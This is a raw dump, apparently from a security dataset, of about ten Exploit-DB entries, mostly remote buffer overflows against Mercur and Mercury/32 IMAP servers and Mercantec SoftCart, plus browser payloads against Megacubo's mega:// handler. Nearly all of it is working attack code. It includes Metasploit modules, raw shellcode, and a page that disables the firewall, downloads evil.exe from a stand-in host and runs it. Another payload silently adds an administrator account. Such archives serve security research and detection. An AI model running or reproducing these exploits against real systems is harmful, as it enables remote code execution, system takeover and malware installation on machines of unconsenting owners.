deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7630
Description: Megacubo 5.0.7 - 'mega://' Arbitrary File Download and Execute
Type: remote
Platform: windows
Date: 2009-01-01
Author: JJunior

Exploit:
Megacubo 5.0.7 download & Execute
by :JJunior
site: http://www.musicastop.com.br/

tested against Internet Explorer 7 and Mozilla Firefox  1.5  Windows Xp sp 3

software site: http://www.megacubo.net/tv/
download url: http://sourceforge.net/project/showfiles.php?group_id=231636&package_id=280849&release_id=608023
 
description:
"Megacubo is a IPTV tuner application written in PHP + Winbinder.
It has a catalogue of links of TV streams which are available
for free in the web. At the moment it only runs on Windows(2000,
XP and Vista)."
 
example exploit, download & Execute :
 

<html>
<head>
<title>MegaCubo - download & Execute</title>
<meta http-equiv="Content-Type" content="text/html; ">
</head>
<body>
<script>
// url download & exec code evil
evil = 'http://www.example.com/evil.exe';
 
// disable firewall  encode base_64
firewall = 'bmV0c2ggZmlyZXdhbGwgc2V0IG9wbW9kZSBtb2RlID0gZGlzYWJsZQ==';
 
shellcode = 'mega://play|con.."a()".system(base64_decode("'+firewall+'")).fputs(fopen("c:/Megacubo.exe","w"),file_get_contents("'+evil+'")).system("C:/Megacubo.exe")."/?");print(';
 
// shell code
window.location=shellcode;

</script>
</body>
</html>

# milw0rm.com [2009-01-01]
Exploit-DB #7623
Description: Megacubo 5.0.7 - 'mega://' Remote 'eval()' Injection
Type: remote
Platform: windows
Date: 2008-12-30
Author: Nine:Situations:Group

Exploit:
<!--
Megacubo 5.0.7 (mega://) remote eval() injection exploit
by Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/

tested against Internet Explorer 8 beta 2/xp sp 3

software site: http://www.megacubo.net/tv/
download url: http://sourceforge.net/project/showfiles.php?group_id=231636&package_id=280849&release_id=608023

description:
"Megacubo is a IPTV tuner application written in PHP + Winbinder.
It has a catalogue of links of TV streams which are available
for free in the web. At the moment it only runs on Windows(2000,
XP and Vista)."
(note that it is among most downloaded apps on sourceforge, http://sourceforge.net/softwaremap/trove_list.php?form_cat=99)

explaination:
it's possible to pass arbitrary php code to the "play" command
of "mega://" uri handler which is further copied to the
c:\DATASTORE.txt temporary file and evaluated, note the "con"
argument (which is a windows device name) to bypass a file_exists()
check

example exploit, this run calc.exe:

mega://play|con.."a()".system(base64_decode('Y21kIC9jIHN0YXJ0IGNhbGM='))."/?");print(

the following one execute:
cmd /c NET USER pyrokinesis pass /ADD && NET LOCALGROUP Administrators /ADD pyrokinesis
-->

<a href='mega://play|con.."a()".system(base64_decode(Y21kIC9jIE5FVCBVU0VSIHB5cm9raW5lc2lzIHBhc3MgL0FERCAmJiBORVQgTE9DQUxHUk9VUCBBZG1pbmlzdHJhdG9ycyAvQUREIHB5cm9raW5lc2lz))."/?");print('>pwn</a>

# milw0rm.com [2008-12-30]
Exploit-DB #16926
Description: Mercantec SoftCart - CGI Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: mercantec_softcart.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Brute
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercantec SoftCart CGI Overflow',
			'Description'    => %q{
				This is an exploit for an undisclosed buffer overflow
				in the SoftCart.exe CGI as shipped with Mercantec's shopping
				cart software.  It is possible to execute arbitrary code
				by passing a malformed CGI parameter in an HTTP GET
				request.  This issue is known to affect SoftCart version
				4.00b.
			},
			'Author'         => [ 'skape', 'trew' ],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2004-2221'],
					[ 'OSVDB', '9011'],
					[ 'BID', '10926'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
					'MinNops'  => 16,
					'Prepend'  => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
					'PrependEncoder' => "\x83\xec\x7f",
				},
			'Platform'       => 'bsdi',
			'Targets'        =>
				[
					[
						'BSDi/4.3 Bruteforce',
						{
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0xefbf3000 },
									'Stop'  => { 'Ret' => 0xefbffffc },
									'Step'  => 0
								}
						},
					],
				],
			'DisclosureDate' => 'Aug 19 2004',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
			], self.class)
	end

	def brute_exploit(address)
		if not (@mercantec)
			res = send_request_raw({
				'uri'   => datastore['URI']
			}, 5)
			@mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
			raise RuntimeError, "The target is not a Mercantec CGI" if not @mercantec
		end

		buffer =
			"MAA+scstoreB" +
			rand_text_alphanumeric(512) +
			[address['Ret']].pack('V') +
			"MSF!" +
			[address['Ret'] + payload.encoded.length].pack('V') +
			payload.encoded

		print_status("Trying #{"%.8x" % address['Ret']}...")
		res = send_request_raw({
			'uri'   => datastore['URI'],
			'query' => buffer
		}, 5)

		handler
	end

end
Exploit-DB #16476
Description: Mercur MailServer 5.0 - IMAP SP3 SELECT Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: mercur_imap_select_overflow.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',
			'Description'    => %q{
					Mercur v5.0 IMAP server is prone to a remotely exploitable
				stack-based buffer overflow vulnerability. This issue is due
				to a failure of the application to properly bounds check
				user-supplied data prior to copying it to a fixed size memory buffer.
				Credit to Tim Taylor for discover the vulnerability.
			},
			'Author'         => [ 'Jacopo Cervini <acaro [at] jervus.it>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2006-1255' ],
					[ 'OSVDB', '23950' ],
					[ 'BID', '17138' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 Server SP4 English',  { 'Offset' => 126, 'Ret' => 0x13e50b42 }],
					['Windows 2000 Pro SP1 English',     { 'Offset' => 127, 'Ret' => 0x1446e242 }],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 17 2006'))

	end

	def exploit
		sploit =  "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20"
		sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset'])
		sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8)
		sploit << payload.encoded + rand_text_alpha_upper(453)

		info = connect_login

		if (info == true)
			print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret)
			sock.put(sploit + "\r\n")
		else
			print_status("Not falling through with exploit")
		end

		handler
		disconnect
	end
end
Exploit-DB #16481
Description: Mercur Messaging 2005 - IMAP Login Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-08-25
Author: Metasploit

Exploit:
##
# $Id: mercur_login.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.
				Since the room for shellcode is small, using the reverse ordinal payloads
				yields the best results.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10150 $',
			'References'     =>
				[
					[ 'CVE', '2006-1255' ],
					[ 'OSVDB', '23950' ],
					[ 'BID', '17138' ],
					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 228,
					'BadChars' => "\x00\x20\x2c\x3a\x40",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
					[ 'Windows XP Pro SP2 English',   { 'Ret' => 0x77dc15c0 } ],
				],
			'DisclosureDate' => 'Mar 17 2006',
			'DefaultTarget'  => 0))

		register_options( [ Opt::RPORT(143) ], self.class )
	end

	def exploit
		connect
		sock.get_once

		hunter  = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
		egg     = hunter[1]

		sploit	=  "A001 LOGIN " + egg + hunter[0]
		sploit	<< [target.ret].pack('V') + [0xe9, -175].pack('CV')

		print_status("Trying target #{target.name}...")
		sock.put(sploit + "\r\n")

		handler
		disconnect
	end

end
Exploit-DB #3133
Description: Mercur Messaging 2005 - IMAP Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-01-15
Author: Jacopo Cervini

Exploit:
#!/bin/perl
# tested on win2k server SP4 English
# ATTENTION! If you have an another valid account you must change the offsets this is only a poc
#

use IO::Socket::INET;

my $host = shift(@ARGV);
my $port = 143;
my $reply;
my $request;
my $user = "test";
my $pass = "test";

my $nop = "\x90"x8;

my $nop1 = "\x90"x20;

my $ret = "\x42\xb2\xc1\x40";

#my $ret = "\x42\x42\x42\x42"; #call edi in mcrimap4.exe

my $asm="\x8b\xc7\x83\xc0\x23\x50\xc3";

#	asm is a binary translation of these assembly instructions;eax now have the correct memory address for shellcode
#
#	8BC7           MOV EAX,EDI
#	83C0 23        ADD EAX,23
#	50             PUSH EAX                                
#	C3             RETN




#A binary translation of NGS Writing Small Shellcode by Dafydd Stuttard with only two little differences
#1)bind port, in this exploit is 4444 in the original shellcode was 6666
#2)4 bytes added to the shellcode in order not to see the window of cmd.exe on remote host


my $shellcode = 
"\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64".
"\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C".
"\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77".
"\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60".
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF".
"\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7".
"\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B".
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4".
"\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3".
"\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4".
"\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44".
"\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50".
"\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8";

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = "a001 LOGIN $user $pass\r\n";

send $socket, $request, 0;
print "[+] Sent login\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;

$request = " SELECT " . $nop . $asm . $nop1 . $shellcode . $ret ."\r\n";

send $socket, $request, 0;
print "[+] Sent chunk\n";

print " + Connect on port 4444 of $host ...\n";
system("telnet $host 4444");

close $socket;
exit;

# milw0rm.com [2007-01-15]
Exploit-DB #16419
Description: Mercury/32 < 4.01b - PH Server Module Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: mercury_phonebook.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercury/32 <= v4.01b PH Server Module Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in
				Mercury/32 <= v4.01b PH Server Module. This issue is
				due to a failure of the application to properly bounds check
				user-supplied data prior to copying it to a fixed size memory buffer.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2005-4411' ],
					[ 'OSVDB', '22103'],
					[ 'BID', '16396' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
					[ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Dec 19 2005',
			'DefaultTarget' => 0))

		register_options([ Opt::RPORT(105)], self)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit =  rand_text_alphanumeric(224, payload_badchars)
		sploit << payload.encoded + "\xeb\x06" + make_nops(2)
		sploit << [target.ret].pack('V') + [0xe8, -450].pack('CV') + "\r\n"

		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #663
Description: Mercury/32 Mail Server 4.01 - 'Pegasus' IMAP Buffer Overflow (3)
Type: remote
Platform: windows
Date: 2004-11-29
Author: muts

Exploit:
                                                                                                                                                                                                                                                               
#########################################################
#                                                       #
# Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow     	#
# Discovered by : Muts                                  #
# Coded by : Muts                                       #
# WWW.WHITEHAT.CO.IL                                    #
# Plain vanilla stack overflow in the SELECT command  	#
#                                                       #
#########################################################


import struct
import socket
from time import sleep

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Lame calc.exe shellcode - dont expect miracles!

sc2 = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x29\x81\x73\x17\xb1\x74"
sc2 += "\x3f\x7c\x83\xeb\xfc\xe2\xf4\x4d\x9c\x69\x7c\xb1\x74\x6c\x29\xe7"
sc2 += "\x23\xb4\x10\x95\x6c\xb4\x39\x8d\xff\x6b\x79\xc9\x75\xd5\xf7\xfb"
sc2 += "\x6c\xb4\x26\x91\x75\xd4\x9f\x83\x3d\xb4\x48\x3a\x75\xd1\x4d\x4e"
sc2 += "\x88\x0e\xbc\x1d\x4c\xdf\x08\xb6\xb5\xf0\x71\xb0\xb3\xd4\x8e\x8a"
sc2 += "\x08\x1b\x68\xc4\x95\xb4\x26\x95\x75\xd4\x1a\x3a\x78\x74\xf7\xeb"
sc2 += "\x68\x3e\x97\x3a\x70\xb4\x7d\x59\x9f\x3d\x4d\x71\x2b\x61\x21\xea"
sc2 += "\xb6\x37\x7c\xef\x1e\x0f\x25\xd5\xff\x26\xf7\xea\x78\xb4\x27\xad"
sc2 += "\xff\x24\xf7\xea\x7c\x6c\x14\x3f\x3a\x31\x90\x4e\xa2\xb6\xbb\x5a"
sc2 += "\x6c\x6c\x14\x29\x8a\xb5\x72\x4e\xa2\xc0\xac\xe2\x1c\xcf\xf6\xb5"
sc2 += "\x2b\xc0\xaa\xdb\x74\xc0\xac\x4e\xa4\x55\x7c\x59\x95\xc0\x83\x4e"
sc2 += "\x17\x5e\x10\xd2\x5a\x5a\x04\xd4\x74\x3f\x7c"

#Change RET Address as needed
buffer = '\x41'*260 +  struct.pack('<L', 0x782f28f7)+ '\x90'*32+sc2

print "\nSending evil buffer..."
s.connect(('192.168.1.167',143))
s.send('a001 LOGIN ftp ftp' + '\r\n')
data = s.recv(1024)
sleep(3)
s.send('A001 SELECT ' + buffer+'\r\n')
data = s.recv(1024)
s.close()
print "\nDone! "

# milw0rm.com [2004-11-29]
Exploit-DB #16484
Description: Mercury/32 Mail Server 4.01a - IMAP RENAME Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: mercury_rename.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow vulnerability in the
				Mercury/32 v.4.01a IMAP service.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2004-1211'],
					[ 'OSVDB', '12508'],
					[ 'BID', '11775'],
					[ 'NSS', '15867'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 SP4 English',   { 'Ret' => 0x7846107b }],
					['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
					['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
				],
			'DisclosureDate' => 'Nov 29 2004'))
	end

	def check
		connect
		resp = sock.get_once
		disconnect

		if (resp =~ /Mercury\/32 v4\.01a/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		sploit =  "a001 RENAME " + rand_text_alpha_upper(260)
		sploit << [target.ret].pack('V') + payload.encoded

		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #16473
Description: Mercury/32 Mail Server < 4.01b - LOGIN Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: mercury_login.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercury/32 <= 4.01b LOGIN Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD
				LOGIN verb. By sending a specially crafted login command, a buffer
				is corrupted, and code execution is possible. This vulnerability was
				discovered by (mu-b at digit-labs.org).
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2007-1373' ],
					[ 'OSVDB', '33883' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP0-SP4 English',		{ 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English',		{ 'Ret' => 0x71aa32ad } ],
				],
			'DisclosureDate' => 'Mar 6 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(143)
			], self.class)
	end

	def check
		connect
		resp = sock.get_once
		disconnect

		if (resp =~ /Mercury\/32 v4\.01[a-b]/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		sock.get_once

		num = rand(255).to_i

		sploit = "A001 LOGIN " + (" " * 1008) + "{#{num}}\n"
		sock.put(sploit)
		sock.get_once

		sploit << rand_text_alpha_upper(255)
		sock.put(sploit)
		sock.get_once

		sploit << make_nops(5295 - payload.encoded.length)
		sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
		sploit << make_nops(2) + [target.ret].pack('V')
		sploit << [0xe8, -1200].pack('CV') + rand_text_alpha_upper(750)

		print_status("Trying target #{target.name}...")

		sock.put(sploit)
		select(nil,nil,nil,1)

		handler
		disconnect
	end

end